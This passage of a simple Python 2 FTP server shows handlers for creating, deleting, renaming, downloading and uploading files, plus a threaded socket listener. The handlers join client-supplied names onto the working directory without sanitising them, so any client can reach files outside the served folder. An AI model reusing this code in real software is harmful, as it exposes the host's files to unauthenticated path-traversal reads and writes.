        fullmode='rwxrwxrwx'
        mode=''
        for i in range(9):
            mode+=((st.st_mode>>(8-i))&1) and fullmode[i] or '-'
        d=(os.path.isdir(fn)) and 'd' or '-'
        ftime=time.strftime(' %b %d %H:%M ', time.gmtime(st.st_mtime))
        return d+mode+' 1 user group '+str(st.st_size)+ftime+os.path.basename(fn)

    def MKD(self,cmd):
        dn=os.path.join(self.cwd,cmd[4:-2])
        os.mkdir(dn)
        self.conn.send('257 Directory created.\r\n')

    def RMD(self,cmd):
        dn=os.path.join(self.cwd,cmd[4:-2])
        if allow_delete:
            os.rmdir(dn)
            self.conn.send('250 Directory deleted.\r\n')
        else:
            self.conn.send('450 Not allowed.\r\n')

    def DELE(self,cmd):
        fn=os.path.join(self.cwd,cmd[5:-2])
        if allow_delete:
            os.remove(fn)
            self.conn.send('250 File deleted.\r\n')
        else:
            self.conn.send('450 Not allowed.\r\n')

    def RNFR(self,cmd):
        self.rnfn=os.path.join(self.cwd,cmd[5:-2])
        self.conn.send('350 Ready.\r\n')

    def RNTO(self,cmd):
        fn=os.path.join(self.cwd,cmd[5:-2])
        os.rename(self.rnfn,fn)
        self.conn.send('250 File renamed.\r\n')

    def REST(self,cmd):
        self.pos=int(cmd[5:-2])
        self.rest=True
        self.conn.send('250 File position reseted.\r\n')

    def RETR(self,cmd):
        fn=os.path.join(self.cwd,cmd[5:-2])
        #fn=os.path.join(self.cwd,cmd[5:-2]).lstrip('/')
        print 'Downlowding:',fn
        if self.mode=='I':
            fi=open(fn,'rb')
        else:
            fi=open(fn,'r')
        self.conn.send('150 Opening data connection.\r\n')
        if self.rest:
            fi.seek(self.pos)
            self.rest=False
        data= fi.read(1024)
        self.start_datasock()
        while data:
            self.datasock.send(data)
            data=fi.read(1024)
        fi.close()
        self.stop_datasock()
        self.conn.send('226 Transfer complete.\r\n')

    def STOR(self,cmd):
        fn=os.path.join(self.cwd,cmd[5:-2])
        print 'Uplaoding:',fn
        if self.mode=='I':
            fo=open(fn,'wb')
        else:
            fo=open(fn,'w')
        self.conn.send('150 Opening data connection.\r\n')
        self.start_datasock()
        while True:
            data=self.datasock.recv(1024)
            if not data: break
            fo.write(data)
        fo.close()
        self.stop_datasock()
        self.conn.send('226 Transfer complete.\r\n')

class FTPserver(threading.Thread):
    def __init__(self):
        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.sock.bind((local_ip,local_port))
        threading.Thread.__init__(self)

    def run(self):
        self.sock.listen(5)
        while True:
            th=FTPserverThread(self.sock.accept())
            th.daemon=True
            th.start()

    def stop(self):
        self.sock.close()

if __name__=='__main__':
    ftp=FTPserver()
    ftp.daemon=True
    ftp.start()
    print 'On', local_ip, ':', local_port
    raw_input('Enter to end...\n')
    ftp.stop()